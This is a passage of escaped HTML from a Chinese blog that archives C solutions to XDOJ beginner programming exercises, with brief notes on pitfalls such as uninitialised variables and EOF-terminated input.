class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e y, m, d, n, n0, i, \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e arr_n[\u003cspan class=\"number\"\u003e12\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e31\u003c/span\u003e, \u003cspan class=\"number\"\u003e28\u003c/span\u003e, \u003cspan class=\"number\"\u003e31\u003c/span\u003e, \u003cspan class=\"number\"\u003e30\u003c/span\u003e, \u003cspan class=\"number\"\u003e31\u003c/span\u003e, \u003cspan class=\"number\"\u003e30\u003c/span\u003e, \u003cspan class=\"number\"\u003e31\u003c/span\u003e, \u003cspan class=\"number\"\u003e31\u003c/span\u003e, \u003cspan class=\"number\"\u003e30\u003c/span\u003e, \u003cspan class=\"number\"\u003e31\u003c/span\u003e, \u003cspan class=\"number\"\u003e30\u003c/span\u003e, \u003cspan class=\"number\"\u003e31\u003c/span\u003e}, \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e arr_o[\u003cspan class=\"number\"\u003e12\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e31\u003c/span\u003e, \u003cspan class=\"number\"\u003e29\u003c/span\u003e, \u003cspan class=\"number\"\u003e31\u003c/span\u003e, \u003cspan class=\"number\"\u003e30\u003c/span\u003e, \u003cspan class=\"number\"\u003e31\u003c/span\u003e, \u003cspan class=\"number\"\u003e30\u003c/span\u003e, \u003cspan class=\"number\"\u003e31\u003c/span\u003e, \u003cspan class=\"number\"\u003e31\u003c/span\u003e, \u003cspan class=\"number\"\u003e30\u003c/span\u003e, \u003cspan class=\"number\"\u003e31\u003c/span\u003e, \u003cspan class=\"number\"\u003e30\u003c/span\u003e, \u003cspan class=\"number\"\u003e31\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d\u0026#34;\u003c/span\u003e, \u0026amp;y, \u0026amp;n);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (y % \u003cspan class=\"number\"\u003e4\u003c/span\u003e == \u003cspan class=\"number\"\u003e0\u003c/span\u003e \u0026amp;\u0026amp; y % \u003cspan class=\"number\"\u003e100\u003c/span\u003e != \u003cspan class=\"number\"\u003e0\u003c/span\u003e || y % \u003cspan class=\"number\"\u003e400\u003c/span\u003e == \u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (m = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; m \u0026lt;= \u003cspan class=\"number\"\u003e12\u003c/span\u003e; m++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e, n0 = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; m; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e n0 += arr_o[i];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (n \u0026lt;= n0) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e, n0 = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; m - \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e n0 += arr_o[i];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e d = n - n0;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (m = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; m \u0026lt;= \u003cspan class=\"number\"\u003e12\u003c/span\u003e; m++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (n0 = \u003cspan class=\"number\"\u003e0\u003c/span\u003e, i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; m; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e n0 += arr_n[i];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (n \u0026lt;= n0) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (n0 = \u003cspan class=\"number\"\u003e0\u003c/span\u003e, i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; m - \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e n0 += arr_n[i];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e d = n - n0;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d\u0026#34;\u003c/span\u003e, m, d);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"40-跳一跳\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#40-%E8%B7%B3%E4%B8%80%E8%B7%B3\" class=\"headerlink\" title=\"40.跳一跳\"\u003e\u003c/a\u003e40.跳一跳\u003c/h3\u003e\u003cp\u003e有个坑:第一个值为2的话,如果没初始化\u003ccode\u003eflag=0\u003c/code\u003e的话就会出错。\u003c/p\u003e\u003cp\u003e给未初始化的值自增肯定有问题啊。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a, res = \u003cspan class=\"number\"\u003e0\u003c/span\u003e, flag=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (\u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;a) \u0026amp;\u0026amp; a != \u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (a == \u003cspan class=\"number\"\u003e1\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e flag = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (a == \u003cspan class=\"number\"\u003e2\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e flag++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res += \u003cspan class=\"number\"\u003e2\u003c/span\u003e * flag;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, res);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"41-累加和校验\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#41-%E7%B4%AF%E5%8A%A0%E5%92%8C%E6%A0%A1%E9%AA%8C\" class=\"headerlink\" title=\"41.累加和校验\"\u003e\u003c/a\u003e41.累加和校验\u003c/h3\u003e\u003cp\u003emd,搞了半天,原来是输入得用\u003ccode\u003eEOF\u003c/code\u003e结束。我就说看错误列表里全是time out,原来oj上输入的终止符是\u003ccode\u003eEOF\u003c/code\u003e。刚开始用的\u003ccode\u003e\u0026#39;\\n\u0026#39;\u003c/code\u003e,难怪过不了。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e ch;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e res = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e ((ch = getchar()) != EOF)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res += ch;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, res % \u003cspan class=\"number\"\u003e256\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003chr/\u003e\u003cp\u003e\u003cem\u003e第四次上机题很简单,不用想,但是写起来挺费时间\u003c/em\u003e\u003cbr/\u003e\u003cem\u003e待会再写分析\u003c/em\u003e\u003c/p\u003e\u003ch3 id=\"42-阶梯电价1-分支结构\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#42-%E9%98%B6%E6%A2%AF%E7%94%B5%E4%BB%B71-%E5%88%86%E6%94%AF%E7%BB%93%E6%9E%84\" class=\"headerlink\" title=\"42.阶梯电价1_分支结构\"\u003e\u003c/a\u003e42.阶梯电价1_分支结构\u003c/h3\u003e\u003cp\u003e浪费时间。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e a, res;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%lf\u0026#34;\u003c/span\u003e, \u0026amp;a);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (a \u0026gt; \u003cspan class=\"number\"\u003e210\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res = (a - \u003cspan class=\"number\"\u003e210\u003c/span\u003e) * \u003cspan class=\"number\"\u003e0.70\u003c/span\u003e + \u003cspan class=\"number\"\u003e110\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (a \u0026gt; \u003cspan class=\"number\"\u003e110\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res = (a - \u003cspan class=\"number\"\u003e110\u003c/span\u003e) * \u003cspan class=\"number\"\u003e0.55\u003c/span\u003e + \u003cspan class=\"number\"\u003e55\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (a \u0026gt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res = a * \u003cspan class=\"number\"\u003e0.5\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%.2lf\u0026#34;\u003c/span\u003e, res);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"43-完数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#43-%E5%AE%8C%E6%95%B0\" class=\"headerlink\" title=\"43.完数\"\u003e\u003c/a\u003e43.完数\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eis_ok_num\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i, a, b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d\u0026#34;\u003c/span\u003e, \u0026amp;a, \u0026amp;b);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = a; i \u0026lt;= b; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (is_ok_num(i))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, i);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eis_ok_num\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i, add;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e, add = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; num; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e add += (num % i == \u003cspan class=\"number\"\u003e0\u003c/span\u003e ? i : \u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e num == add ? \u003cspan class=\"number\"\u003e1\u003c/span\u003e : \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"44-整数分析\"\u003e\u003ca 